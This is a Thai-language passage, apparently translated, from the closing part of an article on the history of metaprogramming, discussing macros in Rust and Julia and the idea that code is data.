จากผลโดยตรงของความเป็นศูนย์กลางนั้น ระบบนิเวศของ Rust ได้นำมาโครมาใช้อย่างแท้จริง สมาชิกของชุมชนได้สร้างไลบรารีที่ยอดเยี่ยมอย่างเหลือเชื่อ การพิสูจน์แนวคิด และฟีเจอร์ด้วยมาโคร รวมถึงเครื่องมือที่สามารถทำให้เป็นอนุกรมและดีซีเรียลไลซ์ข้อมูล สร้าง SQL โดยอัตโนมัติ หรือแม้แต่แปลงคำอธิบายประกอบที่เหลือในโค้ดเป็นภาษาการเขียนโปรแกรมอื่น ทั้งหมดนี้สร้างขึ้นในโค้ดที่ รวบรวมเวลา

แม้ว่า metaprogramming ของ Julia อาจมีความชัดเจนและเป็นอิสระมากกว่า Rust อาจเป็นตัวอย่างที่ดีที่สุดของภาษาสมัยใหม่ที่ยกระดับ metaprogramming เนื่องจากมีจุดเด่นอย่างมากตลอดทั้งภาษา

ดวงตาสู่อนาคต

ตอนนี้เป็นเวลาที่น่าเหลือเชื่อที่จะสนใจในภาษาการเขียนโปรแกรม วันนี้ฉันสามารถเขียนแอปพลิเคชันใน C ++ และเรียกใช้ในเว็บเบราว์เซอร์หรือเขียนแอปพลิเคชันใน JavaScript เพื่อทำงานบนเดสก์ท็อปหรือโทรศัพท์ อุปสรรคในการเข้าไม่เคยลดลง และโปรแกรมเมอร์ใหม่มีข้อมูลอยู่ใกล้แค่เพียงปลายนิ้วสัมผัสอย่างที่ไม่เคยมีมาก่อน

ในโลกของทางเลือกและเสรีภาพของโปรแกรมเมอร์นี้ เรามีสิทธิ์ใช้ภาษาที่ทันสมัยและสมบูรณ์มากขึ้น ซึ่งคัดสรรคุณลักษณะและแนวคิดจากประวัติศาสตร์ของวิทยาการคอมพิวเตอร์และภาษาการเขียนโปรแกรมรุ่นก่อนๆ เป็นเรื่องที่น่าตื่นเต้นที่ได้เห็นมาโครหยิบขึ้นมาและปัดฝุ่นออกจากคลื่นแห่งการพัฒนานี้ ฉันแทบรอไม่ไหวที่จะได้เห็นนักพัฒนารุ่นใหม่ๆ จะทำอย่างไรในขณะที่ Rust และ Julia แนะนำให้พวกเขารู้จักกับมาโคร จำไว้ว่า “โค้ดเป็นข้อมูล” เป็นมากกว่าวลีติดปาก เป็นอุดมการณ์หลักที่ต้องคำนึงถึงเมื่อพูดถึง metaprogramming ในชุมชนออนไลน์หรือสภาพแวดล้อมทางวิชาการ

'รหัสเป็นข้อมูล' เป็นมากกว่าวลีติดปาก

ทวีต

ประวัติ 64 ปีของ Metaprogramming เป็นส่วนสำคัญในการพัฒนาโปรแกรมมิ่งดังที่เราทราบกันในปัจจุบัน แม้ว่านวัตกรรมและประวัติศาสตร์ที่เราสำรวจเป็นเพียงมุมหนึ่งของเทพนิยายเกี่ยวกับการเขียนโปรแกรมเมตา แต่ก็แสดงให้เห็นถึงพลังที่แข็งแกร่งและยูทิลิตี้ของโปรแกรมเมตาโปรแกรมที่ทันสมัย